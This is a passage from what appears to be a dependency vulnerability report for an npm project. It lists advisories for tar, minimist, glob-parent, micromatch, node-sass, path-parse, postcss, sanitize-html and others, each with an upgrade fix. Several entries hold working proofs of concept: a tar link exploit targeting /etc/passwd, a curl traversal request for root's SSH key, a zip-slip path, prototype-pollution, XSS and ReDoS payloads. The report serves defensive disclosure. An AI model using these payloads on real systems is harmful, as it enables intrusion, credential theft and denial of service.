// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › gonzales-pe-sl@4.2.3 › minimist@1.1.3

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: gulp@4.0.2, gulp-nodemon@2.5.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › glob-parent@3.1.0
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › vinyl-fs@3.0.3 › glob-stream@6.1.0 › glob-parent@3.1.0
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › glob-parent@3.1.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › vinyl-fs@3.0.3 › glob-stream@6.1.0 › glob-parent@3.1.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › glob-parent@3.1.0

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: gulp@4.0.2, gulp-nodemon@2.5.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10
    Remediation: Upgrade to gulp@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Certificate Validation. Certificate validation is disabled by default when requesting binaries, even if the user is not specifying an alternative download path.

Remediation

Upgrade node-sass to version 7.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: path-parse
  • Introduced through: gulp-htmlhint@3.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › path-parse@1.0.6

Overview

path-parse is a Node.js path.parse() ponyfill

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.

PoC

var pathParse = require('path-parse');
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "/"
    }
    return ret + "◎";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        pathParse(attack_str);
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade path-parse to version 1.0.7 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@9.7.4, gulp-postcss@8.0.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › autoprefixer@9.7.4 › postcss@7.0.39
    Remediation: Upgrade to autoprefixer@10.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-postcss@8.0.0 › postcss@7.0.39
    Remediation: Upgrade to gulp-postcss@9.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-less@3.1.4 › postcss@7.0.39

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade postcss to version 8.5.10 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@9.7.4, gulp-postcss@8.0.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › autoprefixer@9.7.4 › postcss@7.0.39
    Remediation: Upgrade to autoprefixer@10.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-postcss@8.0.0 › postcss@7.0.39
    Remediation: Upgrade to gulp-postcss@9.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-less@3.1.4 › postcss@7.0.39

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

Remediation

Upgrade postcss to version 8.4.31 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the nonTextTags configuration when noscript is included in that set. When htmlparser2 emits an implied ancestor close event inside a noscript element, the discard region ends prematurely, allowing script content that should be stripped to pass through unsanitized into the output.

Note: This is only exploitable if the nonTextTags option is explicitly configured to include noscript.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.18.0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

PoC

// index.js
const sanitizeHtml = require('sanitize-html');

const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`;
const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`;

const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})

const file_notexist_clean = sanitizeHtml(file_notexist, {
    allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")

Remediation

Upgrade sanitize-html to version 2.12.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure global regular expression replacement logic of HTML comment removal.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sanitize-html to version 2.7.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: scss-tokenizer
  • Introduced through: gulp-sass@4.0.2

Detailed paths

